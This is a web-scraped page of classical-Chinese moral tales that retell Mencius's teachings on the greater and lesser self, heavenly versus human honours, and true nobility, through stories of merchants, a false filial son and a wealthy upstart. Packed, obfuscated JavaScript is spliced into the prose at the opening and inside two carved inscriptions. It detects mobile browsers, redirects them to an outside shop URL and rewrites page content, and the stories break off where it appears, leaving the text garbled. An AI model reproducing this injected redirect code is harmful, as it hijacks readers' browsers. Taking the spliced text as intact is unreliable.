0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088191|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四、 大人鉴 胡员外将铜鉴悬于中堂,额曰“贵贱鉴”。每日对鉴自省:今日所养,贵耶?贱耶?大耶?小耶? 又制小鉴百面,赠乡绅富户,皆镌“体有贵贱,养有大小”八字。江陵风气为之一变,富者竟以施舍为荣,以奢靡为耻。 有盐商李姓,效胡员外行善,然暗地仍抬价坑民。一日对鉴,忽见镜中己影模糊,现饿殍状,大惊失色,急访胡员外。胡员外曰:“君行善为名,是养小;坑民为实,是害大。心口不一,故鉴现恶形。”李姓汗流浃背,真改前非。 永昌十五年,胡员外无疾而终。临终召子孙曰:“吾生五十载,前四十年养指丧背,后十年养心赎罪。你等谨记:养身之道,先养其大。大者,仁也、义也、德也。但得大者存,小者自安。若徒养口腹、养肌肤、养虚荣,虽日费千金,终是‘饮食之人’,人贱之矣。” 出殡日,江陵百姓白衣相送,百里不绝。有老丐哭于道旁:“昔受公一粥,活我命;今闻公一教,活我心。” 忽见白衣人现于灵前,投白菊于棺,朗声诵: “人皆爱其身,尺寸皆养护。 贵贱若不辨,徒然费工苦。 养指竟失肩,狼疾何其愚! 但得养心性,形骸自安舒。 寄语世间人,莫为贱场师。 梧檟在庭前,何故剪樲棘?” 诵罢,人化清风去。众仰观,唯见纸钱如雪,中有梧叶翩跹。 尾声贵贱碑 胡氏子孙葬员外于城西梧林,立碑曰“贵贱碑”,刻《孟子》全章。碑阴铭胡员外生平大略,末云: “公半生迷途,养小失大,几丧其身。幸得棒喝,幡然悔悟,刮骨疗毒,终成大人。今镌此文,非彰公德,乃警来者:体有贵贱,心贵形贱;事有大小,德大欲小。愿见碑者,每日对鉴,自问所养。” 碑成,乡人多拓文以归,悬于厅堂。有父母教子,辄指碑文:“儿欲养大乎?养小乎?”童子虽懵懂,亦知答:“养大!” 后三十年,江陵文盛德彰,科第连绵。有考官奇之,询其故,耆老对曰:“敝乡有贵贱碑,童子启蒙,先辨贵贱大小。故子弟皆知养德为本,科举乃余事耳。” 考官亲往谒碑,默立良久,叹曰:“但得此心,何患功名?”归而奏请褒奖,上赐“德化之乡”匾。 而“贵贱鉴”之风,渐传他郡。有富户悬鉴自警,有官员置鉴于衙,有塾师以鉴教童。一时“对鉴自省”成俗,市井小儿斗口,亦言“你养小,我养大”。 有游方僧过江陵,见小儿嬉戏,一童抢糖,一童让之。僧问让者:“何故让?”童答:“糖,小也;让,大也。我养大。”僧合十:“善哉,此乡大人多矣。” 是夜,僧宿梧林,梦白衣人踏月来,指贵贱碑笑曰:“但得此心代代传,何必西天见如来?” 僧醒,见碑上月华如水,梧叶沙沙。 似在说: 养啊,养啊。 莫把荆棘当梧桐。 莫为指头丢肩背。 本章诫世 一、 贵贱之辨 - 人皆知爱身,然多爱贱体,忘贵心;养小欲,失大德 - 破解法:遇事抉择,自问“所养贵贱大小” - 示例:胡员外养指丧背,养肤溃心,是贵贱不明 二、 狼疾之讽 - 养一指而失肩背,是“狼疾人”;养口腹而失心性,是“饮食之人” - 惕世:多少人在养“指头”(容貌、虚荣),却溃了“肩背”(健康、德行)?多少人如贱场师,养护樲棘,荒废梧檟? - 反思:每日所费心血钱财,养贵者多,养贱者多? 三、 大人之道 - 养其大者为大人,养其小者为小人 - 深层隐喻:人生成就,取决于养护重心 - 终极指向:明贵贱,辨大小,养心性,成大人 贵贱偈: 永昌七年江陵秋,胡翁养指如养眸。 背生碗痈浑不觉,白衣论道醒愚瞀。 贵贱大小须分明,心性形骸孰劣优? 至今贵贱碑前月,犹照行人辨薰莸。 后世叹: 大齐江陵胡氏翁,养身无暇尺寸躬。 指肤细腻背生疽,心性蒙尘腹内痈。 幸有白衣施针砭,能教愚顽辨贱崇。 贵贱碑铭孟子语,长醒人间养大功。 正是: 养身贵贱要分明,指背浑忘是狼疾。 场师梧檟反不养,但把樲棘殷勤修。 大人养大弃小者,心性光华射斗牛。 寄语世间爱躯客,莫将贵贱等闲丢。 40. 大体谳 楔子双生店 大楚景和八年,江宁府有孪生兄弟开店,兄名大体,弟名小体。二人生得一般模样,同在长街开绸缎庄,门对门户对户,生意却有天壤。 大体店中,货真价实,童叟无欺。有小吏来索“常例”,大体正色道:“小本经营,但凭良心,不设常例。”生意清淡,然老主顾不绝。 小体店中,花样繁多。有掺丝混纺充全绸,有以次充好标高价。逢官必贿,遇富则谀,日进斗金。常笑兄愚:“这世道,良心值几钱?” 是年端午,有老妇来大体店,欲扯布制寿衣。大体见其贫,暗将足尺添作九寸,收半价。妇感泣而去。 小体在对面窥见,嗤之以鼻,转身对伙计道:“记下,下月那批潮州麻,可掺三成草絮。” 忽闻店外有人抚掌:“好个‘从其大体’、‘从其小体’!” 二兄弟齐望,见一白衣人倚门框,斗笠面纱,木剑负背,手中捻着一缕丝线。 一、 耳目蔽物 小体不悦:“阁下买布?不买勿扰。” 白衣人踱入店中,指架上绸缎:“此杭绸,标价几何?” “三两一尺。” “实价呢?” “这…这便是实价。” 白衣人取铜钱一枚,掷于布上。但见那“杭绸”遇铜,竟微微缩皱,显是掺了麻。小体色变,白衣人却笑: “耳目之官不思,而蔽于物。店家以此绸炫目,客以目观之,便以为真。此谓‘物交物,则引之而已矣’——绸引目,目引欲,便成交。然心若不思,安知其中诈?” 小体强辩:“市面皆然…” “然大体店中,为何不如此?”白衣人转身,隔街指大体,“同是绸,同是人,何以彼货真价实?” 小体语塞。白衣人出店,径入大体铺,问大体:“店家,何以不学令弟手段?” 大体揩汗道:“非不能,是不为。家严在世时常教:生意是小,做人是大。若为小利失大体,终是得不偿失。” “善哉!”白衣人拊掌,“此便是孟子所言‘从其大体为大人,从其小体为小人’!大体从心,以心思辨真伪;小体从目,为物欲所牵引。然则——” 他朗声问街坊:“诸位可知,何以兄弟二人,一从大体,一从小体?” 众皆茫然。白衣人自袖中取竹简,展之,诵孟子曰: “‘耳目之官不思,而蔽于物。物交物,则引之而已矣。心之官则思,思则得之,不思则不得也。’今小体店主,非天生好诈,是放纵耳目,为货利所蔽,心官不思,故从小体。大体店主,能用心思,辨得生意之本在诚,故从大体。” 小体在对面闻之,面红耳赤,欲辩无言。 二、 心官则思 白衣人邀二兄弟至中庭,设席对坐。问大体:“你平日如何思?” 大体沉吟:“每进一货,必思:此货可对得起主顾?每定一价,必思:此价可对得起良心?遇事不决,便思家严教诲。” “此思,便是心官之用。”白衣人颔首,转问小体:“你呢?” 小体讷讷:“我…我只思如何多赚…” “此亦思,然所思者小。”白衣人正色,“心官不思大体,便被小体所夺。譬如你看兄店冷清,便思‘他愚’;见自店红火,便思‘我智’。此思,是耳目之思,见表象而忘本真。若用心思,当思:为何老主顾皆往兄店?为何自家无百年客?” 小体怔然。白衣人又取那缕丝线,问众: “此线,眼看是丝,手摸是丝。然若用心思,当如何?” 有老者道:“当以火试。真丝燃如发臭,假丝刺鼻。” “然也!”白衣人道,“耳目只能见表象,心却能究其实。今世人多如小体店主,见利则趋,见亏则避,全凭耳目牵引,不思利从何来,亏往何去。此便是舍大体从小体,终成小人。” 他起身,木剑点地,划一圆: “心之官,天所赐。用则得大体,不用则溺小体。今我设一局,试你兄弟心官。” 自怀中取两锭银,各十两,分置二兄弟面前: “此银,可自用,可施人,可藏匿。一炷香为限,你二人各思其用,后当众言明。唯有一规:需说真心,莫违本心。” 香燃起。 三、 先立其大 大体对银沉思。小体眼珠频转。 香至半,大体忽道:“我已思得。此银当赠街口瞎眼婆婆。她子战死,孤苦无依,十两可活半年。” 小体急道:“我…我亦思得。此银当添作本钱,多进好货,让利主顾。” 众哗然。白衣人笑问小体:“此是真心思得?” 小体汗出:“是…” “非也。”白衣人摇头,“你见兄说要施贫,恐落人后,故仓促说‘让利’。然让利是虚,添本是实,仍是生意经。此思乃耳目之思,见兄行善,便思效颦,非出本心。” 又大体:“你思时,可曾想‘此银可周转铺子’?” 大体坦言:“想过。然转念思:铺子虽紧,尚可维持;婆婆无此银,或至饿死。两相权衡,救急为先。” “善!”白衣人拊掌,“这便是‘先立乎其大者,则其小者弗能夺也’!大体店主先立仁心为大,故利欲之小不能夺。小体店主先立利欲,故见人行善,方仓皇效之,是本末倒置。” 他取回小体面前银锭,却将大体之银推前: “此银仍赠婆婆。然我要问大体:若此银是你最后十两,铺子将倒,可还赠否?” 大体长考,终道:“仍赠。铺倒可再起,人死不可复生。且…且我相信,存此仁心,天不绝人。” 话音落,有老主顾起身:“陈掌柜(大体本姓陈),我明日便订百尺绸,先付定金!” 又有多人呼应。小体见状,羞惭无地。 白衣人叹道:“诸位见否?大体先立仁心,小体不能夺,反得人和。这便是孟子所言‘此为大人而已矣’。” 又对小体:“你非无仁心,是被利欲蔽心官。今愿立大体否?” 小体扑通跪地:“愿!求先生教我立大体!” 四、 立大日记 白衣人引小体至自店库房,指那批掺麻绸:“此货当如何?” 小体咬牙:“尽焚!” “焚乃小仁。”白衣人道,“当思:此货从何来?供货者知否?买者谁何?” 小体恍然,即命伙计:一、退掺假货于供货商,追还货款;二、已售者,按址寻客,退一赔一;三、张榜告罪,自罚三月利。 又至大体店,长揖谢罪:“弟从此学兄,立大体,从小人改作大人。” 大体扶起,兄弟相拥泣。 白衣人遂开“立大讲堂”于长街,不授经,但教“用心思”。每日晨,聚商户百姓,同思三问: 一、 今日所为,从大体否? 二、 所见所闻,用心思否? 三、 若遇两难,先立其大否? 初时人稀,渐有小贩思“短斤少两不该”,有工匠思“偷工减料不当”,有书生思“抄袭剽窃不耻”。半月后,长街风气一变,吆喝实在,买卖公道。 有外郡客商奇之,问:“此街物价,何以比他处廉一二成?” 街坊笑答:“用心思,便知虚价无益。但守大体,利反长久。” 客商不信,暗访三日,果见童叟无欺,乃叹:“此地有大人之风!” 是时,有衙役来索“街铺捐”,张口五十两。往昔商户皆忍气,今则聚议。大体为首,对衙役正色: “捐应有度。今请出告示,明列款项,街坊自当乐捐。若空口索取,恐非大体。” 衙役怒,欲锁人。小体忽挺身出:“我兄弟愿代全街见官,与老爷论此大体!” 众商户皆呼应。衙役见人多理正,悻悻而去。后知府闻之,责衙役,明定捐额。长街欢声雷动。 白衣人暗观,颔首道:“此谓‘先立乎其大者,则其小者弗能夺’。今众人同心立大体,宵小岂能夺?” 遂于街心立“大体碑”,刻孟子语。碑阴有白衣人题: “耳目蔽于物,心官贵在思。 但得立大体,小人亦能移。 莫随流俗转,当从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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守碑叟笑:“此街便是活《孟子》。” 是夜,月明如昼。有白衣人影现碑前,抚石微笑,轻吟: “百年大体街, 依旧月明时。 但得心官在, 何处不孟轲?” 吟罢,化入月色。 唯碑上“心之官则思”五字,在月下熠熠生辉。 似在提醒每个过客: 你有心,会思么? 思,便是大人。 不思,便是小人。 本章诫世 一、 大体小体之辨 - 从耳目之欲为小体,从心官之思为大体 - 破解法:遇事莫随耳目,当问本心 - 示例:大体货真价实,小体掺假欺客,同是营商,一念之别 二、 心官之贵 - 耳目不思,蔽于物;心能思,明于理 - 惕世:多少人沦为耳目奴隶,见利则趋,见欲则逐,全不思辨? - 反思:可曾让心官放假,任耳目当家? 三、 先立其大 - 先立仁心为大,则利欲不能夺 - 深层隐喻:人生锚定在“大体”,方不随波逐流 - 终极指向:人人皆可为大人,只需“先立乎其大” 大体偈: 景和八年江宁秋,兄弟营商各异谋。 大体从心思货实,小体逐利混丝麻。 白衣振聩明官窍,街众归心弃诈偷。 至今大体碑前月,犹照行人辨薰犹。 后世叹: 大楚江宁孪生店,同根异路令人嗟。 兄守诚实质且朴,弟行奸巧混丝麻。 白衣一席醒耳目,长街百日正风斜。 莫道世人心官废,但得思之即圣涯。 正是: 兄弟同根各经营,一从大体一从小。 耳目蔽物心官废,利欲熏天本心杳。 幸有白衣明孟子,能教愚顽醒昏晓。 但得常思常自省,贩夫亦是大人表。 41. 天爵谳 楔子双爵记 大赵天佑三年,清河县有书生姓莫名天赐,苦读二十年,屡试不第。某日闻市井传言:新帝重孝廉,凡孝行著闻者,可不经科场,直授“人爵”。 莫生心动,自忖:我本寒门,科举难登,何不修“天爵”以邀“人爵”?遂精心设计,欲行惊世之孝。 先是,暗雇老乞婆,认作失散生母,晨昏定省,寒冬解衣,盛夏扇席。又购得《二十四孝图》,悬于四壁,每有客至,必泣诉“子欲养而亲不待”之苦。更散家财一半,于路口设“施孝棚”,凡有孝行者,赏钱百文。 不三月,“莫大孝子”之名传遍清河。县令闻之,亲往探视,果见莫生侍奉“老母”无微不至,感动泣下,即修本上奏。 是年秋,圣旨下:擢莫天赐为“孝廉郎”,授从八品,入京候职。 莫生大喜,焚香告祖,即日欲行。忽有“老母”拦门泣曰:“儿既得官,当携老身同享富贵。”莫生暗忖:此妇市井村妪,入京必露馅。遂夜遣恶仆,赠银五十两,逐之远乡。 临行前夜,莫生正检点行装,忽闻窗外有人朗吟: “修得天爵为邀宠, 既得人爵弃如尘。 堪笑今之求爵者, 不知天爵是根本。” 莫生推窗,见一白衣人立月下,斗笠面纱,木剑负背,手执一卷《孟子》。 一、 天爵人爵辨 莫生不悦:“阁下何人?安敢夜闯私宅!” 白衣人飘然而入,自袖中取圣旨副本,展于案上:“孝廉郎,可喜可贺。然在下有一惑:阁下所修,真天爵乎?” 莫生色变:“我孝行著闻,全县皆知,何假之有?” “仁义忠信,乐善不倦,此天爵也。”白衣人指《孟子》章句,“阁下仁义否?雇母作戏,可谓仁?逐母弃养,可谓义?” 莫生汗出:“你…你怎知…” “忠信否?”白衣人续道,“欺君罔上,可谓忠?负约逐妪,可谓信?” 莫生强笑:“先生谬矣。圣上既授人爵,便是认可我孝行。天爵人爵,本是一体。” “大谬!”白衣人正色,“孟子曰:‘古之人修其天爵,而人爵从之。’是修天爵为本,人爵自来。今之人修其天爵,以要人爵,既得人爵,而弃其天爵,则惑之甚者也,终亦必亡而已矣。” 他步步进逼:“阁下修‘孝’为邀宠,是‘以要人爵’;既得官身,逐‘母’弃义,是‘弃其天爵’。此正孟子所讥‘惑之甚者’!恐终亦必亡而已。” 莫生跌坐椅中,犹辩:“我…我入京后,自当行善…” “皮之不存,毛将焉附?”白衣人冷笑,“天爵既弃,人爵岂久?譬如造屋,基已朽坏,梁栋虽华,终必倾颓。阁下欺君之罪,一旦事发,恐不止丢官。” 言罢,推窗指月:“阁下看,月有阴晴圆缺,然其明不改。天爵如月明,人爵如月相。今人但求月相圆满,不惜遮蔽月明,岂非颠倒?” 莫生冷汗涔涔,忽问:“先生…可有教我?” 二、 还爵记 白衣人自怀中取一锦囊:“内有三策,阁下自择。” 莫生急启,见素笺上书: “上策:自首欺君,辞官谢罪,奉假母如真母,真修天爵。” “中策:挂冠而去,隐姓埋名,赎前愆于余生。” “下策:携官入京,侥幸求全,然天网恢恢,终有败时。” 莫生阅毕,手颤不止:“我…我寒窗苦读二十年…” “寒窗苦读,是为修天爵,还是求人爵?”白衣人直视其目,“若为天爵,则读圣贤书,当行圣贤事,何需欺世盗名?若为人爵,则今已得之,何以惶恐至此?盖因阁下自知,所得人爵,如沙上塔,水中月,全无根基。” 忽闻叩门声急。仆来报:“老爷,那老婆子又回来了,在门外哭闹!” 莫生如坐针毡。白衣人叹道:“天爵人爵,此刻便见分晓。阁下若逐母保官,是人爵奴;若认母弃官,或可保天爵一线。” 话音未落,门外已传来老妪哀哭:“我儿!你既富贵,何弃老身!” 满街渐聚人声。莫生面如死灰,颓然道:“我…我选上策。” 白衣人颔首:“虽晚未迟。然需真做,非饰伪。” 次日,清河县衙前,莫生素衣散发,携“母”跪地,自陈罪状,缴还官诰。县令大惊,百姓哗然。莫生当众言: “天赐本寒生,慕人爵而伪修天爵,雇母作戏,欺君罔上。今蒙高人点醒,知天爵不修,人爵如浮云。愿辞官赎罪,真奉此母,以全人子之实。” 观者如堵。有讥者,有叹者,有疑者。白衣人现身人丛,扬声道: “诸位!莫生虽伪修天爵,今能悔悟,犹胜冥顽。孟子曰:‘西子蒙不洁,则人皆掩鼻而过之。虽蒙不洁,斋戒沐浴,则可以祀上帝。’今莫生愿斋戒沐浴其心,我等当许其自新否?” 众默然。忽有一老者出列:“老朽愿保莫生。人谁无过?过而能改,善莫大焉。” 众人视之,乃县学教谕张老夫子。有他带头,渐有多人附和。 县令沉吟良久,道:“辞官之事,本县需上奏。然你既愿真孝,可戴罪侍母。若三年不渝,或可宽宥。” 莫生叩首泣谢。白衣人扶起,道:“今始,可修真天爵矣。” 三、 真修路 莫生果奉假母归家,晨昏定省,一如往昔。然此番无沽名心,反觉坦然。老妪初疑,久之感其诚,泣道:“老身实非汝母,乃城南王婆,受雇作戏耳。” 莫生亦泣:“我知。然既认母子,便是缘分。您孤苦无依,我当奉养终身。” 王婆大恸,道出实情:本有一子,十年前从军战死。莫生即设其子灵位,以兄事之。邻里渐知真相,奇之。 白衣人时来暗访,见莫生真孝,乃现身指点:“天爵四德:仁义忠信。你今奉假母,是仁;不弃诺言,是义;不欺乡里,是忠信。然尚未全。” “请先生教。” “乐善不倦,方为圆满。”白衣人指门外,“你可见街头饥儿?可见孤老无依?天爵非独孝亲,乃泽及众人。” 莫生悟,将所余家财,设“义孝堂”:一养孤老,二教贫儿,三助残弱。自执教鞭,授蒙童《孝经》《孟子》。有童问:“先生,孝可求官否?” 莫生赧然:“我昔为求官而伪孝,几堕深渊。今方知,孝乃本心,非求官之阶。但修天爵,莫问人爵。” 白衣人在窗外闻之,颔首。 三年间,莫生敝衣粗食,尽心义孝堂。王婆病,亲侍汤药,夜不解带。婆临终执其手:“老身有福,得遇真孝子。愿儿永保此心。”含笑而逝。 莫生守孝三年,义孝堂渐扩,收养孤寡数十,教化童子百余。乡人感其诚,不复称“假孝子”,皆呼“莫善人”。 天佑六年,县令上奏陈情,言莫生“幡然悔悟,真修天爵,泽被乡里”。朝议哗然,有言“欺君当诛”,有言“改过宜旌”。 争执不下时,忽有白衣人夜叩宫门,献《孟子》“天爵”章句于御前。帝观之,默然良久,朱批: “天爵既修,人爵从之。可授清河县教谕,专司教化。” 旨下,莫生却辞:“臣昔以人爵为念,几丧天爵。今愿布衣终身,专修仁义,不敢复受人爵。” 县令劝,不听。白衣人现,问:“真不受?” 莫生拜:“天爵在心,何需人爵为饰?” 白衣人拊掌:“此方是真悟!” 四、 爵从记 莫生辞官事闻于朝,有御史嗤之“矫情”,微服至清河暗访。见义孝堂中,莫生正为孤老洗足,童子环诵《孟子》。有童问:“先生,天爵可得富贵否?” 莫生笑:“天爵乃心中富贵,何需外求?” “可得官否?” “天爵乃无冕之王,何需冠冕?” “可得名否?” “天爵乃不朽之名,何需人知?” 御史动容,现身长揖:“下官受教。”归朝力陈,帝叹:“此真修天爵者也。”遂赐“天爵先生”匾,悬于义孝堂。 白衣人贺莫生:“今人爵从天爵,非你求之,乃自来之。可悟孟子‘古之人修其天爵,而人爵从之’之意?” 莫生拜谢:“非先生棒喝,我今犹是‘惑之甚者’。” “然今有一试。”白衣人正色,“若帝召你入京,授以高官,你当如何?” 莫生肃然:“愿效陶渊明,归去来兮。天爵既在,人爵何加?” “善!”白衣人道,“今可为你正名。” 遂邀全县父老,于义孝堂前设坛。白衣人当众言: “诸君!莫生昔伪孝求爵,是‘今之人’;今真修天爵辞爵,是‘古之人’。诸君当学其今,莫效其昔。更当自问:我所修者,天爵耶?人爵耶?” 有富绅起问:“我修桥铺路,是为天爵否?” “若为求名,是人爵;若本心乐善,是天爵。” 有书生问:“我苦读求仕,是修人爵。然若为行道,可算天爵否?” “行道是本,仕途是末。但得本心在,人爵亦是道;若失本心,天爵亦是伪。” 众皆省悟。白衣人取剑,于堂前青石刻“天爵”二字,深可寸许。旁刻小注: “仁义忠信,乐善不倦,此天爵也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088193|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 公卿大夫,此人爵也。 修其天爵,人爵从之, 是谓古道。 今天爵为梯,人爵为的, 既得人爵,弃其天爵, 是谓大惑。 愿见此刻, 晨昏自问: 我今所修, 是古是今?” 刻毕,掷剑于地,入石三寸,矗立如碑。 是夜,白衣人踏月去,歌曰: “世人求爵如探囊, 谁识天爵是宝藏。 仁义忠信本自足, 何需冠冕夸门墙。 今人颠倒以梯求的, 既得的兮弃其梯。 终亦必亡堪太息, 何不返身问晨曦?” 歌声杳渺,莫生率众跪送。仰观“天爵”碑,月光满镌,如镀银华。 尾声天爵碑 莫生终老布衣,义孝堂绵延三代。每有童子入学,先拜“天爵碑”,诵《孟子》章句。有问“何不求功名”,长者辄指碑:“但修天爵,功名自来。若不自来,心中已足。” 后五十年,清河文风大盛,出进士十七,皆清正敢言。有言官弹劾权贵,遭贬黜,归乡谒碑,大笑:“吾今失人爵,得天爵矣!”遂开堂讲学,从者如云。 百年后,战火频仍,义孝堂毁,独“天爵碑”屹立不倒。有溃兵欲毁碑取石,见碑文“仁义忠信”,竟掷刀下拜,泣曰:“吾本良民,为乱世所迫…”遂散去。 又百年,新朝立,有刺史谒碑,欲移碑入城。是夜梦白衣人,责曰:“天爵在人心,岂在碑石?”刺史悟,乃于碑旁建“天爵书院”,聘大儒讲《孟子》,首课必讲“天爵人爵之辨”。 有蒙童问:“夫子,今人读书,多为功名,是修人爵。然功名若成,亦可为民,岂非两全?” 夫子指碑旁古槐:“见此槐乎?根深方得叶茂。若但求叶茂,不修根本,暂荣必枯。天爵乃根,人爵乃叶。但得根深,何患无叶?若但求叶,不修根,终成枯木。” 童恍然。自此书院学风,重德甚于重文,然科举中第者,反多他处。 暮年莫生曾作《天爵铭》,刻于碑阴,今犹可辨: “余少慕人爵,伪修天爵,几堕深渊。 幸蒙点化,知返本原。 天爵在己,不假外求。 仁义忠信,乐善不倦, 此四者修,俯仰无愧。 人爵之来,如影随形; 人爵不去,如叶离枝。 叶离枝枯,影逝形在。 愿后来者, 但修其形, 莫逐其影。” 今碑石皴裂,苍苔斑驳。然每至朔望,乡人仍聚碑前,有白发儒生为童子讲解。童声朗朗: “仁义忠信,乐善不倦,此天爵也…” 槐叶飒飒,如应和: 修啊,修啊。 莫为冠冕,失了根本。 莫为浮云,忘了苍穹。 本章诫世 一、 天爵人爵之辨 - 仁义忠信、乐善不倦为天爵,公卿大夫为人爵 - 破解法:自问所修,为心安,为身荣? - 示例:莫生初伪孝求官,是以天爵为梯求人爵;后真孝辞官,方得真天爵 二、 古今修爵之别 - 古人修天爵,人爵从之;今人修天爵以要人爵,得人爵而弃天爵 - 惕世:多少人以善行为敲门砖?多少人身居高位而忘本? - 反思:所求所行,是为本心,还是为外物? 三、 本末终始之序 - 天爵为本,人爵为末;本立而末从,本弃而末亡 - 深层隐喻:一切成就,皆是德行副产品 - 终极指向:修好天爵,人爵不必求,或自来,或不来,皆坦然 天爵偈: 天佑三年清河秋,莫生伪孝求封侯。 既得人爵弃天爵,白衣棒喝醒愚瞀。 幡然悔悟修仁义,人爵自从天爵俦。 至今碑前槐叶响,犹说本末不可偷。 后世叹: 大赵书生莫天赐,伪修天爵求人爵。 幸遇高士明古道,能教今人醒愚惑。 天爵在己人爵从,本末倒置终自削。 寄语世间求禄客,莫将根本等闲斫。 正是: 天爵人爵本不同,今人颠倒任穷通。 伪修仁义为冠冕,既得冠冕弃前功。 何如但修天爵贵,俯仰无愧即封公。 寄语青云登陟客,莫将根本弃蒿蓬。 42. 良贵谳 楔子贵贱场 大周显德九年,云州有巨贾名钱百万,富甲一方,然常郁郁。何以故?盖其出身市井,虽腰缠万贯,士绅仍以“贱商”目之。 是年冬,钱百万设寿宴,遍邀名流。席间有致仕侍郎郑公,醉后戏言:“钱翁虽富,惜乎身无‘贵’气。”满座窃笑。钱百万羞愤,掷杯入内,三日不出。 其子钱丰献计:“父亲,今有‘捐官’例,何不谋一虚衔,光耀门楣?”钱百万恍然,遂携重金入京,贿通关节,果得“奉议大夫”虚职,从五品冠带。 衣锦还乡日,云州震动。昔日白眼者皆来奉承,称“老封翁”。钱百万顾盼自雄,斥资建“大夫第”,门悬御赐匾额。又设宴三日,席间执杯问郑公:“老夫今有贵气否?”郑公唯唯而已。 宴散,钱百万醉卧锦榻,抚冠带自得:“人生至此,方为贵也!” 忽闻窗外有人长吟: “赵孟之所贵, 赵孟能贱之。 身外求贵者, 终是可怜痴。” 钱百万惊起,见一白衣人倚窗望月,斗笠面纱,木剑负背,手中把玩着一枚铜钱。 一、 赵孟之贵 钱百万怒斥:“何人在此妄语!” 白衣人转身,将铜钱弹于案上,铿然有声:“钱翁所求之‘贵’,可比此钱?” 钱百万冷笑:“老夫乃朝廷命官,岂是铜臭可比?” “命官?”白衣人笑,“此‘奉议大夫’,可是三千两白银捐来?” 钱百万色变:“你…你怎知?” “我还知,赵孟能贵之,赵孟能贱之。”白衣人自袖中取出一卷《孟子》,展于烛下,“孟子曰:‘欲贵者,人之同心也。人人有贵于己者,弗思耳。人之所贵者,非良贵也。赵孟之所贵,赵孟能贱之。’” 他指着“赵孟”二字:“赵孟,晋国权臣,可予人贵,亦可夺人贵。今钱翁之‘贵’,不过权贵所赐,若彼不悦,一纸文书便可褫夺。此等贵,是真贵否?” 钱百万语塞,强辩:“然世人皆重此贵!” “世人重,便是真贵?”白衣人摇头,“昔有楚王好细腰,宫中多饿死。今有世人重冠带,天下竞捐官。此皆‘人之所贵’,非‘己之良贵’。” 他走至庭中,指那御赐匾额:“此匾可朽,此冠可失,此衔可夺。钱翁所谓贵,如沙上筑城,潮来即溃。而人人自有之贵,如璞玉在怀,不假外求,不惧人夺。钱翁弗思耳!” 钱百万茫然:“我…我有何贵?” “且看。”白衣人忽击掌三声。 二、 己之良贵 应声而入者三人。 一为跛足老丐,匍匐阶下:“钱老爷可识小人?” 钱百万细观,惊道:“你…你是阿牛?” “正是。”老丐泣道,“三十年前腊月,小人冻毙街头,是钱老爷您,那时还是布铺伙计,脱袄赠我,又赠粥饭。我活一命,今虽落魄,不敢忘恩。” 钱百万怔然。白衣人问:“你眼中,钱老爷贵否?” “贵!恩同再造!”老丐叩首。 白衣人颔首,又指第二人,乃一布衣书生。 书生揖道:“晚生李秀,十三年前赴考,盘缠被窃,困于云州。是钱翁赠银十两,不言姓名。晚生得中举人,今为县学教谕。寻恩多年,方知是翁。” 钱百万依稀记得。白衣人问:“你眼中,钱老爷贵否?” “施恩不图报,是真贵人!”书生长揖。 第三人乃一老妇,携幼童。妇跪泣:“妾身刘王氏,先夫早亡,去岁幼子重病,无钱医治。是钱老爷路过,赠银请医,救儿一命。今特来叩谢。” 童子稚声:“谢谢钱爷爷!” 白衣人转身,直视钱百万:“此三人眼中,钱翁贵否?” 钱百万泪下:“此…此乃陈某本分…” “这便是‘人人有贵于己者’!”白衣人朗声道,“你赠袄时,是布衣;赠银时,是商贾。彼时无冠带,无人称‘大夫’,然在受恩者眼中,你贵不可言。此贵,非赵孟所赐,是你仁义之心所生,是‘良贵’!” 他展开《孟子》续道:“‘既醉以酒,既饱以德。’仁义之德饱乎心,则不愿膏粱之味;‘令闻广誉施于身’,则不愿文绣之华。今钱翁有仁义之实,不享其实,反求虚衔之华,岂非舍本逐末?” 钱百万如遭雷击,颓然坐倒。 三、 贵之移 次日,钱百万召子钱丰,欲退捐官。钱丰急谏:“父亲!三千两已花,退之何益?且无此衔,郑公辈复以白眼相加矣!” 钱百万叹道:“我儿,你可知何为真贵?” “自然是权位尊荣!” “非也。”钱百万指庭中老槐,“此树贵否?” 钱丰不解。钱百万道:“此树不羡松柏之高,不慕桃李之艳,但守根本,四时成荫。鸟可栖,童可嬉,人皆爱之。此是树之‘良贵’。我昔年行善,如树生荫,是得‘己贵’。今求虚衔,如树缠金箔,虽炫目,实伤本。” 钱丰不服。忽有仆来报:“郑侍郎来访。” 郑公入,面色凝重,屏退左右,低声道:“钱翁,大事不好!京中来信,言捐官事泄,御史欲劾。不日或有查抄…” 钱百万手一颤,冠带落地。钱丰面如死灰。 郑公叹道:“昔我戏言,致翁行此下策。今祸将及,不如速散家财,或可保全。”言罢匆匆而去。 钱丰哭道:“父亲,如何是好?” 钱百万呆坐良久,忽大笑:“赵孟能贵之,赵孟能贱之!今果验矣!” 正慌乱间,白衣人飘然而入,拾起冠带:“钱翁,此物还要否?” 钱百万拜倒:“求先生救我!” “救你不难,但你需明一理。”白衣人扶起他,“你所惧,是失此‘人之贵’。然你若守‘己之良贵’,何惧之有?” “请先生明示!” 白衣人指那三人:“老丐阿牛,今在城隍庙栖身。你可愿延至府中,奉养天年?” “愿!” “书生李秀,清贫教谕。你可愿捐资助学,设义塾聘他为师?” “愿!” “刘王氏母子,孤苦无依。你可愿认为义女,教养其子?” “愿!” “善。”白衣人点头,“然此非为避祸,是为你本心。你若真行,祸或可解。” 钱百万即召三人,一一安置。又开仓放粮,散财济贫,三日间,钱府门前求施者不绝。 